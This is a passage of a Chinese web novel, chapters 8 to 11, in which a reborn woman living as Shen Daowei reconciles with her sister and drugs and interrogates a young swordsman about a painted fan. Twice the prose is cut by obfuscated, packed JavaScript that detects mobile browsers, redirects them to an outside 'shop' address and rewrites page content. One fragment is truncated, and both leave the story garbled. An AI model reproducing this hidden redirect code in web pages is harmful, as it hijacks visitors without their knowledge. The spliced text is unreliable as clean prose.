不过即便再好奇,叶袭宸也没有探听别人隐私的癖好,更不想以沈道溦的面貌欺骗于他。然话又说回来,依楚无暇对沈道溦的欣赏程度,在见到她面对那幅画作时的神态,应该能猜得出来她不是沈道溦吧。 叶袭宸把玩着茶杯,倏地又想起她向楚无暇讨要画作时他的说辞,什么画中人之类的。 画上除了自己,只有花疏玉和宋雪砚。自己已死,且确定前世与楚无暇并无任何交集。宋雪砚帮着唐锶谐攻破帝京,致自己于死地,如今的地位应是今非昔比。楚无暇浪迹江湖,恐是已经够不到宋雪砚如今的门槛。花疏玉已经死去多年,若是留着睹物思人,倒也说得过去。 叶袭宸一时有些拿不准究竟是因宋雪砚还是花疏玉了。这俩人的才情都极高,至少在叶袭宸看来是如此。像是楚无暇这一类的浪荡公子,最喜欢这类可以和他风花雪月般的女子了。 一壶茶喝完,叶袭宸站起身来。若云忙伸手要扶,叶袭宸摆了摆手:“我去沈星月那里溜达一圈,你就不要跟着我了。” “什么?”若云大惊,抬手就要碰叶袭宸的额头:“主子,您是烧糊涂了吗,二小姐一直在找您的麻烦。上次在廊下还险些要了您的命,若不是楚公子出手相救,您就……您就……” 若云说不出不吉利的话来,直接略过接着往下说:“现在您要去二小姐的院子,岂不是自讨苦吃吗?” 叶袭宸抚了抚下巴:“星月虽然毛躁了点儿,但应是不至于如此放肆吧。上次的事情应该是个误会。” 若云急得跺脚:“主子,二小姐都险些要了您的命,这种事情还有什么误会不误会的?奴婢知道您宅心仁厚,但您千万不可对二小姐掉以轻心呐。” 宅心仁厚? 这还是第一次有人用这么仁慈的话来夸她。 叶袭宸抬手摸了摸若云的脑袋:“安心了,我不会有事的。” 若云摇了摇头:“主子,万万不可啊。若主子非要去,奴婢一定要跟着。” “你若是跟着,楚无暇那厮来了谁来应付?” 若云眨了眨眼睛,似是不明白:“无人应付又如何?他如此不规不距,若是不巧来了,正好请他吃闭门羹!” 叶袭宸轻轻叹了一口气,“罢了,你就与我一同去吧。你说得也对,正好搓一搓那厮的锐气。” 正义阁。 叶袭宸抬头看着这三个字,唇角不由得一阵抽搐。不过她倒是因此对沈星月更多了一分了解,这个看起来刁蛮任性的二小姐应该不是那种小里小气的人。她的心中应有鸿鹄之志,假以时日,必能成为称霸一方的枭雌。 院门未关,叶袭宸粗略了打量了下里面的布设。一棵三合抱粗的松柏坐落在中间位置,几根缠绕而成的粗绳子绑在上面,尾端径直垂下,并系有几个沙袋。几个木桩错落有致地摆放周围,旁边还有兵器架子。 沈星月着了一身白色的中衣正在扎马步,密密麻麻的汗珠从额上流下来,顺着汗涔涔的脸颊砸在青石板路上。脖领前的衣服早已被汗水浸湿,黏糊糊地贴在身上。 “一大清早妹妹就在练功了,如此毅力,好生叫姐姐佩服。” 沈星月抬头,叶袭宸和若云一前一后进来,前者脸上挂着得体的笑容,后者则一脸警惕。沈星月白了她们一眼,似是没看见她们般继续目视前方。 若云很是生气,压低声音道:“主子,您都看到了吧,二小姐根本不欢迎我们,还给我们甩脸子呢。我们还是早些回去吧,免得待会儿她给我们难堪。” 叶袭宸安抚了拍了拍若云的手,“无妨,妹妹正在练功,不愿被旁人打搅也是情有可原的。” 主仆俩的声音不算高,但沈星月还是听到了。她冷冷地哼了一声,“沈道溦,用飞镖伤你的事情我已经道过歉了,你还要如何?就算你还想不依不饶地来找我算账,直说便是,不必伙同自己的丫头唱戏给我看。我不吃你们这一套。” 叶袭宸微微一笑,也不生气,径直走到沈星月面前。 沈星月动也未动,只是眉头紧皱,直勾勾地看着叶袭宸:“你要做什么?” 叶袭宸从怀里掏出一方白色手帕,轻轻地为沈星月拭去额角上的汗。 ! 沈星月的马步扎不下去了,她站直了身子,不由得往后退了一步,活像是躲避瘟神似的:“你做什么?!” “看你练得辛苦,为你擦一擦汗。”叶袭宸疑惑道:“妹妹这是怎么了?难道姐姐关心一下妹妹,也不可以吗?” 沈星月被叶袭宸的姐姐妹妹绕得头晕,警惕地再次后退一步,质问道:“你又要整什么幺蛾子?有话不妨直说。” 叶袭宸扯了扯唇角:“无他,只是想关心一下你。” 叶袭宸省去了姐姐妹妹的称呼,总觉得有几分怪异。她从未在深宅大院里生活过,以为这类的称呼是正常的,但看沈星月似乎也不喜欢如此。 “关心我?”沈星月狐疑地上上下下打量了一下叶袭宸,不由得轻笑一声:“上次我险些害你丧命,你现在说这话可笑不可笑?” 叶袭宸抿唇一笑:“我知道你并非真心想害我性命,不过是试我一试罢了。” 沈星月双手环胸,嘲弄地勾了勾唇:“沈道溦,你莫不是脑子坏了?” 叶袭宸叹了一口气:“并无。不过你若是想看我脑子坏了时的样子,我倒是可以给你当场表演一番。” ? 沈星月定定地看了叶袭宸半晌,后者耸了耸肩膀,无所谓地任其打量。 “疯子。”沈星月缓缓吐出两个字,冷嘲道:“脑子坏了就去找大夫,少来我这里发疯。” 见叶袭宸被如此对待,若云早已忍受不住,上前一步道:“二小姐,我家主子一番好意,你不领情就算了,何必恶语伤人!” 沈星月抬眼,轻蔑地看了一眼若云,居高临下道:“你是什么东西?一个小丫头也配在本小姐面前耀武扬威?” 沈星月的厉害若云领教过,被她这么一呵斥,小丫头立即低下头,吓得不敢说话了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883531|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哼!” 见若云如此,沈星月愈加得意,但也不再发难,只是将矛头重新对准了叶袭宸:“沈道溦,我看你们主仆二人都该去治治脑子。” 她微抬下巴,趾高气昂,只是干瘪的肚子有些不争气,咕噜地叫了一声。 呃。 周遭安静得有些过分,若云憋着笑意,沈星月的气势也维持不下去了,像是赶苍蝇一般推着叶袭宸往外走,却也是刻意放轻微了动作:“你快走快走,省得我待会儿看着你连早饭都吃不下。” 叶袭宸知道自己如今反抗不过沈星月,也就懒得折腾了,只是依旧挣扎地说了一句:“我早饭也没吃,不如在妹妹这里蹭上一顿?” “休想!”沈星月想都没想就拒绝:“你身子骨太弱,若是在我这里吃出好歹来,爹爹又要怀疑我下毒害你了。” 叶袭宸奇道:“有这档子事儿?” “你倒是贵人多忘事。”沈星月冷道:“当初若不是你们主仆二人一唱一和,我也不会一直困守在这四方小院里。沈道溦,你很是得意吧,你一直都很得意是不是?” 叶袭宸叹了口气,还有心情与沈星月斗嘴:“我是真忘了,但我不是贵人。” “这么说你是故意让我提出来,好羞辱我是吗?” “并非如此,先前我不小心从假山跌落,磕到了脑袋,又生了一场大病,故而醒来后诸多事情都记不清了。” 沈星月没好气道:“你记不清了,若云总该记得吧。你回去好好问问若云,我当时被爹爹训斥时有多冤枉。如果问完后你良心发现,想来与我道歉,也不必了。” 叶袭宸彻底没话说了,她由着沈星月将自己推出去,然后重重地关上了院门。 叶袭宸对着紧闭的院门摸了摸鼻子。原本以为沈星月只是因为自己的事情记恨沈道溦,没想到原来还有这么一层原因。 若云过来扶住叶袭宸,担忧道:“主子,你没事吧。” 叶袭宸摇了摇头:“没事,只是若云……”她神色凝重地看着小丫头,严肃道:“沈星月方才所说可句句属实?当时又是个什么情形?” 若云有些心虚地低下头:“主子,此事是奴婢的过错。” 叶袭宸眯了眯眼睛:“说说看。” “当时主子和二小姐感情甚笃,奴婢心里瞧着也是欢喜。可二小姐毕竟是庶出,而且也心悦太子殿下。当时主子和二小姐一起用饭,主子吃了一口后便昏倒了,奴婢以为二小姐心生嫉妒给主子下毒,便不等主子醒来就禀报了老爷。老爷大怒,罚二小姐在暖雪阁外跪到主子醒来。可当时主子病得厉害,足足过了十天才醒。二小姐不吃不喝,不分昼夜地跪着。待主子醒来时,也险些去了半条命。自此后,二小姐就与主子生分了。” 叶袭宸道:“所以我当时昏倒究竟是何原因,是否真与沈星月有关?” “是……” 叶袭宸拧眉。 若云嗫嚅了半天:“是吃食中含有主子过敏的东西。” 9. 第 9 章 叶袭宸和若云灰溜溜地离开了。 当年的事情有诸多疑点,还需仔细盘查一下。况且即便查清,沈星月也不可能立即就能毫无芥蒂和她重归于好。此事还需循序渐进,既是如此,又何必在门口讨嫌呢。当务之急,还是要应付完楚无暇才是。 主仆二人刚回到暖雪阁,楚无暇那个家伙便闻着味道过来了。这次他倒是换了一副装扮,着了一身浅蓝色的衣服,飘逸柔顺的发丝用一根同色的丝带绑着,随着走路的动作微微起伏着。大抵是为了更加显得风流倜党一些,手里还拿了一把折扇附庸风雅。他本就生得极为灼目,再做此副装扮,说是公子无双也不为过了。 不过叶袭宸却瞧着他越来越像只正在缓慢开屏的花孔雀。 叶袭宸的眉头跳了几下,楚无暇把玩着折扇走过来,语气有些委屈:“沈小姐可是叫在下好等啊。” 拇指摩挲着扇柄,唰地一下子展开。 叶袭宸的视线顿时被扇面吸引住。她微微皱眉,垂下视线,似在思忖着什么。 若云在沈星月那里碰了一鼻子灰,本就想要在楚无暇这里找回来。正巧又看见他这副模样来勾引自家主子,顿时气不打一处来,正要开口撵他走时,叶袭宸却抬手拦住了她。 “让楚公子久等了,确是我的不是。”叶袭宸微微笑着,“为表歉意,我请公子入内喝杯好茶。”遂看向若云,口吻不容置疑:“去沏茶。” 说完后,叶袭宸便进了院子。 若云愤愤地看了楚无暇一眼,后者冲她轻轻一笑:“看来今日要让若云姑娘失望了。沈小姐心情不错,可是要与我一同品茶呢。” 若云气得七窍生烟,却也不得不乖乖去泡茶。楚无暇跟着若云进来,笑意一点一点加深。若不是嘴巴小巧,只怕唇角要咧到耳根了。他收了折扇,见叶袭宸早已坐在石凳上等候多时,便走过去在其对面坐下。 “沈小姐可曾在石凳上铺了鹅绒毯?”楚无暇展开扇子,似有若无地扇着:“如今天气虽然已经暖和些了,但是……” 楚无暇自顾自说着关心的话,叶袭宸却什么也听不进去了。她的视线停留在楚无暇把玩的折扇上,随着他摇摆的动作飘忽不定。 这把折扇有着一个不同寻常的扇面,上面画了一个极其英姿飒爽的女子。不错,正是已经死去的叶袭宸。而这把折扇也颇有来历,正是出自更早死去的花疏玉之手。 上次那幅画作上有三个人,而今这把折扇却仅有一人。叶袭宸再也无法自欺欺人地说楚无暇是为了沈道溦或者花疏玉又或者宋雪砚前来了,因为从始至终,他的目的就只有一个。 那就是已经死去却莫名在他人身体内复活的叶袭宸! 若云已经泡好了茶,趁着给二位斟茶的功夫,她迅速打量了二人的神色。只见叶袭宸神色凝重,而楚无暇始终笑嘻嘻的,顿时气愤至极。心想定是楚无暇说了什么让主子为难的事情,有心想呛楚无暇几句,但是却又不好开口。 若云心里知道,先前她能肆无忌惮地对楚无暇发难,靠的是叶袭宸的默许,借的是叶袭宸的威风。虽然自从自家主子生重病以来,暖雪阁就不招府内待见了。但是主子毕竟是帝京第一才女,俗话说得好,瘦死的骆驼还比马大呢。再者如今的摄政王,可是对自家主子心存爱慕。难保有一日,暖雪阁不会东山再起,重现往日的辉煌。 是以若云对自不量力擅自靠近自家主子的楚无暇颇没好感。唯恐有一日,主子学着那些话本小说里写的才子佳人的佳话,放着英俊潇洒的摄政王不要,转身跟着居无定所的楚无暇私奔去浪迹江湖了。到时,她一个无依无靠的小丫头,要如何在险象环生的府内活下去。 若云刚给叶袭宸满了茶,正要给楚无暇倒时,叶袭宸却拿过她手里的茶壶,而后缓缓起身。 若云眼睁睁地看着叶袭宸亲自给楚无暇倒了一杯茶,眉头不由得皱得更厉害了。 “楚公子一而再再而三地到访,到底所为何事?”叶袭宸将茶壶放在石桌上,坐下身不紧不慢地喝着,眼睛却从未从楚无暇身上离开过。 透过雾气朦胧的茶面,叶袭宸肆无忌惮地打量着楚无暇的神色。也不知这人是太过镇定还是没心没肺,脸上居然没有一丝神情。 叶袭宸眼睁睁地看着楚无暇将她倒的那杯茶全都喝完,然后继续嬉笑着一张面皮:“沈小姐倒是与我先前所见的那些女子有些许不同。” “哦?”叶袭宸眯了眯眼睛,双手叠放在下巴处,歪着脑袋似笑非笑地看着楚无暇:“有何不同?难道在楚公子眼里,本小姐难道不算个女子吗?” 楚无暇轻轻地笑了一声:“寻常的女子只会在深宫宅院内勾心斗角,一点儿小事都会闹得鸡飞狗跳,当真是叫人烦不胜烦。” 叶袭宸轻蔑地笑了一声,却不是对楚无暇口中的寻常女子,而是对楚无暇本人。 楚无暇有些笑不出来了,本以为叶袭宸会深以为然,然后他就可以同她一起对那些寻常女子嗤之以鼻,借此来拉近彼此的关系,不成想竟是如今这番景象。 “看来楚公子曾经深受寻常女子所害。” 楚无暇回神,本以为叶袭宸不愿再搭理他,没想到却是柳暗花明又一村。他一时之间有些不知该如何回答,斟酌良久,不答反问道:“难道不是吗?” 叶袭宸蹙眉:“什么?” 楚无暇奇道:“沈小姐难道不对深宫宅院里那些勾心斗角的行为视如敝屣吗?” “原来是这个。”叶袭宸点点头:“不错,我的确不喜深宫宅院的勾心斗角。若是我,我定会手刃了那个娶了一群莺莺燕燕的男子。”她冷冷地笑了一声:“而且,在手刃他之前,我会先让他体验一下当太监的滋味。” 楚无暇有些不寒而栗,勉强撑着笑意:“沈小姐倒是好手段。” “不过,”叶袭宸冷哼一声道:“你口中所谓的寻常女子只是一时被表象迷昏了头而已。待她们清醒过来,自会做出和我类似的选择。”她屈起食指,重重地敲击了下桌面:“这并不是你可以鄙视她们的缘由。” 楚无暇点头:“在下受教了。但若是,她们永远也清醒不过来呢?” 叶袭宸笑了一声,“那便看我耐心如何了,毕竟我也没有责任去拯救谁。” 楚无暇眼睛里满是欣赏:“沈小姐,你倒是真与在下道听途说的不太一样。” “多谢楚公子夸奖。”叶袭宸托着腮,漫不经心道:“说完了我的事情,楚公子是不是也该说明一下自己的来意了?” 楚无暇深深地看着叶袭宸。 往常几次见面,叶袭宸总是藏着掖着的,说话也是四两拨千斤,不肯将自己的心思说出来。如今倒是直白得很,想来应是自己手中折扇上所画之人的缘故,楚无暇一时不知该喜还是该忧。 他抬头看了看四周,笑意收敛了些:“我的来意不可为外人所知,我们不妨进屋内详谈。” 叶袭宸捏着茶杯,轻轻晃动着。有些许浑浊的茶水倒映出她不屑一顾的面庞,鼻孔重重发出一声冷哼,她薄唇轻启:“得寸进尺。” 言罢,叶袭宸将茶水一饮而尽,而后重重将茶杯放置在桌上。楚无暇蹙着眉头,捏着折扇的手指不由得紧了紧。 叶袭宸抬眸:“既然楚公子刻意遮遮掩掩的,不如回去想明白了再来。”说着便站起身,甩袖朝屋内走去:“若云,送客!” 楚 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楚无暇笑意渐深,声音带了些许蛊惑:“若云姑娘如此关心我的脸皮,不如上前来摸上一摸,切身仔细感受下它的厚度。” 若云微微瞪大双眼,有些不敢置信道:“你……你说什么?” “姑娘若是没有听清,那我不妨再靠近些说一遍。”楚无暇唇角勾着笑意,慢慢朝若云走近。 若云不由自主地握紧了手里的净君,下意识往后退了一步。 “若云姑娘很是怕我?”楚无暇挑衅道:“在下还以为若云姑娘天不怕地不怕呢。” “你……你莫要激我!”若云大声道:“楚公子,你莫要在此逗留了。任你如何花枝招展,我家主子都是不会与你走的。” 楚无暇扶额道:“若云姑娘如此高声,是想将你家大少爷引来将我叫走吗?若云姑娘好生聪明,只可惜你家少爷今日有事,恰好不在府内。” 若云道:“此话当真?” 楚无暇道:“当真。” 若云叹了一口气,似是认命道:“既是如此,我怕是拦不住楚公子了。”她做了一个请的姿势:“请楚公子自便吧。” 楚无暇不作他想,极为不屑地来了一句:“早知如此,何必当初。”他啪地一声收起折扇,昂首阔步朝屋内走去。 拂开绣帘,楚无暇东寻西找,终于找到了早已侧躺在床榻之上背对而眠的叶袭宸。 楚无暇顿时倒抽一口凉气,面上浮现惊讶之色。他忙展开折扇遮挡视线,下意识朝外面退去。 “非……非礼勿视,非礼勿视。” 楚无暇虽素有浪荡公子之称,却也只是走心不走肾。如今乍看女子的睡容,不由得一阵面红耳赤。然而他本就是来找叶袭宸的,如此退出去岂不是前功尽弃,下次可没有如此轻易能够登堂入室与叶袭宸好生说话的机会了。 “沈小姐。”楚无暇一改先前的轻浮,有些尴尬道:“还请沈小姐整理着装,移步正厅。” 视线不由得移向别处,他注意到叶袭宸床榻旁燃着香,不知是从何处所得,竟有股奇异的味道。楚无暇视线有些许模糊,待意识到不对时已然来不及。 眼前一阵天旋地转,楚无暇柔若无骨地倒在地上。他费力地保持着清醒,竭力睁开眼睛。只见叶袭宸面无表情地从床榻之上下来,手里握着的锋利刀身借窗外透进来的光线折射出冷冽的寒光。她宛若看死人般看着自己,他挣扎着开口。 “是……符……符无虞……让我来……找你的……” 叶袭宸瞳孔猛地一缩。 10. 第 10 章 兰庭戏院。 戏台子上几个沾满络腮胡子的男子在唱戏,底下一群女子嗑着瓜子看得津津有味,身旁还有几个长相精致的小白脸子伺候着。 戏曲唱到高潮处,无人注意到一个白发女子悄悄入内。她宛若入无人之境穿梭来来往往的人群中,常客般寻到二楼最西头的房间。 一个被五花大绑的男子有些许狼狈地歪倒在床榻之上,嘴里还被勒了白色的布条。 此人不是别人,正是初到帝京的楚无暇。 帝京的风气当真是与众不同,楚无暇也算是闯荡江湖几年了,本以为可以出来独当一面了,不曾想才到帝京,就被人绑来了这里。戏院的老板看他生了一副好皮囊,居然连夜唱卖他的初夜。 楚无暇也算是体验了一回站在台子上被贩卖的过程。看着下面的莺莺燕燕,他平生头一次感到些许无奈。 从来都是他惦记貌美女子,如今倒是轮到旁人来惦记他了。 看来叶袭宸虽死,但是由她而起的这股子彪悍之风却是还没有消退,更别说当今皇帝花疏叶和摄政王唐锶谐压根儿还没有消弭这些风气的意思。 楚无暇认为,这两人不是不想,而是不能。虽是这股子风气是从叶袭宸开始的,但是早在长公主花疏玉掌权的时候,朝中女子官员就日渐增长。若是强行为之,恐怕朝廷又要不安分了。 被绑在床上等待被采撷,楚无暇还有心情想这些事情,他居然在心底莫名生出一股子欣慰,直到门外响起有些许熟悉的脚步声。 察觉到有人进来,楚无暇下意识地往里面缩了缩。然而当他意识到自己这个举动的时候,不免觉得有几分好笑。 这档子事,还不知道是谁吃亏呢。 就在楚无暇就这个看似简单实则复杂的问题思考时,门已然被人从外面打开。 由于帷幔的遮挡,他这个角度有些看不清来人的长相,只觉得这个身形有些许熟悉。 还好不是肥头大耳的。 楚无暇暗自庆幸,却又担心起女子的长相来。 万一是歪瓜裂枣的可如何是好? 然当白发女子关上门回过身来朝床榻边走了几步,楚无暇终于得见她的面容时,他却激动地在床榻之上咕蛹。 倒不是因为女子的长相如何,而是此人是他的师姐符无虞。 虽然符无虞下山的时候,他还小,但已经记事了。但是就是不知符无虞是否还能认出他来,他这次下山是偷着跑下来的,师尊完全不知道,就更不会给师姐捎信来关照他了。 整张床被楚无暇的动作弄得咯吱作响,他呜呜出声。 “师姐……姐姐……” 符无虞不紧不慢地解开楚无暇嘴里的白布条,却对他身上的绳子无动于衷。 “师姐,松开我吧。” 楚无暇委屈巴巴地向符无虞诉苦:“你看我这细皮嫩肉的,手腕都被勒出伤痕了。师姐,你真的忍心吗?” 符无虞并未有任何动容,而是坐在桌前不疾不徐地为自己倒了一杯茶。 楚无暇继续讨饶:“师姐,你松开我,我来伺候你可好?” 闻言,符无虞终于吝啬地看了他一眼,冷笑道:“伺候我?说得好听,你修行未成,私自下山,难保不会给我惹出什么大乱子来。照我看,还是趁早将你交由师尊处置为好。” 楚无暇一听急了。师尊整日不苟言笑,动辄对他严厉打骂。若是回去了,定要被打得皮开肉绽了。 “师姐不要送我回去。”楚无暇眼眶含泪,一遍遍哀求:“师弟保证,绝对不给师姐惹麻烦。日后师姐说什么就是什么,师弟绝对不敢有半句异议。” “这桩交易可不划算。若是师尊知道了,我可承担不起。” 楚无暇眼见不成,只好开始编造谎话:“师姐,我实话与你说了吧。其实是师尊让我下山的,故意没有告诉你是想考验你的能力。师尊是怕你在山下待久了,脑子变得不灵光了。” “既是如此,我等你来继续考验我。”符无虞微微一笑,起身就要往外走去。 楚无暇急了:“师姐,你倒是给我解开再走呀。” “解开做什么?”符无虞漫不经心道:“你既然是来考验我的,怎会连这点儿苦难都解决不了?”她微微抬了抬下巴:“你好生在这里待着吧,师姐我先行一步了。” “师姐!”楚无暇着急得都快哭出来了:“师姐我错了!我不该欺骗与你,师姐你大人有大量,饶了我这一次吧。” 符无虞停下了脚步。 楚无暇松了口气,趁热打铁道:“师姐若是饶了师弟这次,日后师弟唯师姐马首是瞻。” 符无虞转身坐下,为自己续了一杯茶。 楚无暇小心翼翼地观察着符无虞的神色。只见她食指并拇指捏起茶杯,轻轻往茶面上吹了一口气。 “若是……”符无虞慢吞吞道:“让你去见鬼呢?” 楚无暇猛地瞪大双眼,随即被一盆冷水浇醒。他狠狠地打了个寒战,总算认清自己目前的状况。 此时的他坐在一张椅子上,双手被绑在身后,双腿被束缚在椅子腿上。面前站着双手环胸的叶袭宸,如同从地狱爬上来的鬼魅一般轻轻勾着唇角。 “醒了?” 声音极冷。 楚无暇极为乖巧地点了点头。 “折扇和画作从何而来?” “画作乃是沈小姐亲手所赠,折扇则是符无虞交由在下的。” “我为何将画作赠予你?” “大抵两三年前,在下于城郊偶遇小姐。彼时小姐正遭遇山匪行凶抢劫,在下路见不平,救小姐于山匪虎口。小姐心生感激,故将此画赠予在下。” “既是如此,在府中与我再遇时,缘何装作不识?” 楚无暇转了转眼珠子:“在下不知小姐是否依旧记得当年的事情,贸然提及,恐冒犯到小姐。” “折扇作何解释?” “不妨……”楚无暇试探道:“说是在下因仰慕长公主的才气,便自行模仿而作?” 叶袭宸终于有了一点儿神情变化。 “呵。” “有何不妥吗?” “你借沈秋实进入宰辅府,难道不知沈秋实曾见过长公主的画风吗?” 楚无暇的额角开始冒冷汗。 “再者,你如何解释要在折扇上作叶袭宸的画像?你又不曾见过她。” 楚无暇瘪着嘴巴,有些不服气地小声道:“其实见过的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883533|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >叶袭宸并未听到,只是哼笑一声:“多年不见,国师的眼光是越发差劲了,竟让你来寻我。如若不是见你还有几分姿色,我倒要怀疑她是想借我之手来送你往生的了。” 楚无暇见叶袭宸眼中的杀意已然消散,不由得调侃道:“原来她是知晓沈小姐最喜貌美男子,才叫我来到小姐身边的。只是小姐是否太不怜香惜玉了?”他低头看了看自己半湿的衣物,半开玩笑半是认真道:“若是因此我伤了身子,岂不是小姐的损失?” “损失?”叶袭宸笑了:“我的看法与国师并无不同。若是留着你,日后还不定给我惹出多大的乱子。” 楚无暇怏怏不服:“若云那个小丫头不知轻重,且手无缚鸡之力,岂不是更会给小姐惹出乱子?还有那个沈府二小姐,叫什么来着。” “沈星月。”叶袭宸淡道:“下次莫要忘了。” “是是是,沈星月,在下日后不会忘了。”楚无暇道:“若非我出手相助,你恐怕早已丧命于那沈星月之手。你瞧不上我也罢,缘何对那沈星月刮目相看?” 叶袭宸双手背在身后:“她是我的妹妹。” “……” 楚无暇着实给噎了一下:“本以为小姐会列出个什么一二三来堵上在下的嘴,不成想竟是这种可笑至极的理由。”他似是气坏了,完全忘记了自己此时正受制于人,狠狠地瞪着叶袭宸道:“难怪你最后乱剑穿心而死,当真是有迹可循。” 叶袭宸面无表情地看着楚无暇。 “你瞪着我做什么?”楚无暇梗着脖子:“难道我说得不对吗?!若不是你轻信他人,又岂会落败!莫要以为身边亲近之人就不会背叛与你,也莫要以为陌生之人便会害你。你如此断人,迟早还是会吃大亏的!” “我如何行事,如何断人,与你何干?” “……” 楚无暇险些要被叶袭宸气死了。 “假若我说日后你的师尊会害死你,你会相信吗?” 楚无暇一愣,随即反驳道:“不可能!” 叶袭宸笑了,透露着几分凄凉与无奈:“瞧,世人皆如此。” 楚无暇又是一愣,继而争辩道:“这不同的……”然而声音却是越来越低,他竟连自己都无法说服。 是啊,当年叶袭宸、花疏玉以及宋雪砚三人的关系是何等令人艳羡的存在,可如今却是物是人非事事休。 楚无暇叹了口气道:“也罢,那沈星月你想信便信吧。日后若生出事端,莫怪我没有提醒与你。”顿了顿又道:“既然沈星月你都信了,那便连我也一起信了吧。” 叶袭宸道:“你是怕我不留你,国师便觉得你无用武之地,故将你送回山上吧。” 楚无暇笑嘻嘻道:“小姐看破莫要说破嘛。其实留下我,小姐并无坏处。我有武功傍身,可为小姐站岗护院。若无危险,小姐日常看我这副模样,也是养眼得很呐。” 叶袭宸面露微笑,终是解开了楚无暇的绳子。 楚无暇活动了下手腕,“多谢小姐了。” “先别谢我。”叶袭宸道:“估摸着沈秋实也快到了,你想法子如何应付他吧。” 言罢,若云便急匆匆进来了:“大少爷……大少爷来了,是来寻楚公子的!” 11. 第 11 章 叶袭宸和楚无暇才来到前厅,就见沈秋实已经双手负在身后等候多时了。他缓缓转过身来,眉头皱得死死的,唇角抿成一条紧绷的直线。一张脸阴沉得厉害,浓郁得仿佛下一秒就会化作雨滴下来一般。 叶袭宸不由得在心里叹道。倘若世上真有神明,沈秋实做个雨神倒是绰绰有余,不用雨具也能普降甘霖。 “兄长缘何急匆匆赶来?怎么也不坐下喝杯茶?”叶袭宸招呼道:“若云,快去泡茶。” “不忙喝茶。”沈秋实摆了摆手,视线落在湿漉漉的楚无暇身上,仔细地打量了一下,眸子变得愈发深沉:“无暇兄为何这副模样?” 楚无暇低头看了一眼自己,满不在乎道:“还说呢,方才在假山旁为沈小姐舞剑,本想好生展示下自己的才艺,不料出了大丑,一不留神就跌进那荷花池里去了。难得爬上来,不巧还被秋实兄你看到了。这下我可糗大了。” 楚无暇的语气轻松欢快,可是这并没有打消沈秋实怀疑。他看了一眼叶袭宸,拧着眉头问道:“道溦,当真如此吗?” 叶袭宸只想骂一句楚无暇,编什么借口不好,非得跌进荷花池。荷花池里淤泥深重,看似荷香阵阵,实际暗流涌动。若是跌进荷花池里,爬出来时必定浑身脏污,臭气熏天。早知楚无暇会如此说,先前她往楚无暇头上浇水时就该换盆脏的了。 “兄长为何有此一问?”叶袭宸的唇微微勾着:“莫非从我口中说出来的话会与楚兄不同吗?” “若是事实,自然是相同的。” 叶袭宸点头:“兄长说得是,楚兄方才的确不是跌进荷花池中才弄得如此模样。” 此话一出,沈秋实的眉头皱得更紧了。楚无暇有些纳闷,他暗自揣度着叶袭宸的用意。 这是个出手干净利落的人,绝对不会轻易相信他人。虽然借尸还魂这个说法没有几人能够相信,但是她还是要杀自己灭口。仅仅因为自己是知情者,而且她不允许有任何人知道这件事情。 那么此时此刻她就绝对不会将真相和盘托出,除非她太过想念唐锶谐的剑了,觉得再来一次也无伤大雅。 不过这个可能性微乎其微。 然而事实证明,叶袭宸是向来不按常理出牌的。只见她装模作样地掉下几滴泪,拽着沈秋实的袖子哭诉道:“兄长,你可要为小妹做主啊。” 沈道溦的相貌自是出色,平常看起来便楚楚可怜,如今再这么梨花带雨地一哭,更是惹人怜爱。 沈秋实的眉头不由得舒展了些,就连语气也软了三分。看样子,他很是享受这般被如此软声细语的感觉。 他抬手擦去叶袭宸脸上滚烫的泪珠,神情变得柔和:“小妹请说,旁人若是敢欺负你为兄一定会为你出气。”说到最后,伶俐的眼神扫过一脸凝重的楚无暇。 楚无暇一时有些没适应过来叶袭宸做如此娇弱之态,毕竟方才她可是要恶狠狠地取自己的性命呢。透过叶袭宸那双狡黠的眸子,他已经知道叶袭宸要拿他开涮了。 只是这招有些眼熟,他仿佛在哪里见过。思忖片刻,楚无暇想起来了。后院那些莺莺燕燕做些勾心斗角的事情时,不正是这般模样吗。 他暗自苦笑,不成想叶袭宸将这一招用到自己身上了。果不其然,叶袭宸的手指向了楚无暇。 “兄长。”叶袭宸哭唧唧道:“楚兄这几日接二连三寻借口来我院内,因他是兄长的好友,我便一再礼遇。但今日正巧我在午憩,不想这楚无暇竟无视若云的阻拦,强行入我屋内。惊吓之余,我便顾不得他是兄长的好友了,用了一盆凉水浇在他身上。是以楚兄成了这般模样。” 楚无暇暗自惊叹。 世间最真实的谎言,莫过于真假参半。既将她自己摆在了受害者的位置,又借着沈秋实的手让自己近段日子不会出现在她面前。 果真如楚无暇所想,沈秋实将矛头对准了他:“无暇兄,你是救过我的性命,这我无可否认。但这并不意味着你可以在府内为所欲为,道溦毕竟还未出阁,无暇兄你如此做岂不是太过分了。” 沈秋实一字一句地说着,听得楚无暇羞愧地低了下头。当然,叶袭宸知道他这都是装的。倘若有什么东西能让楚无暇这个脸皮厚重的家伙感到羞愧的话,她高低得磕一个。 “秋实兄说得是,日后定会规矩行事。”楚无暇装不下去了,遂抬头笑嘻嘻地看着沈秋实。 生来就是这副嬉笑人模样,旁人如何也奈何不得他。 沈秋实沉着脸,生硬道:“无暇兄快些回去换衣服吧,若是着凉了,可是帝京姑娘们的损失。” 最后一句本是调侃之意,但配上沈秋实这张苦大仇深的脸,实在没有多少说服力,不知情的还以为他是在呷醋呢。 “是是是,秋实兄说得是,我这便回去更换衣物。” 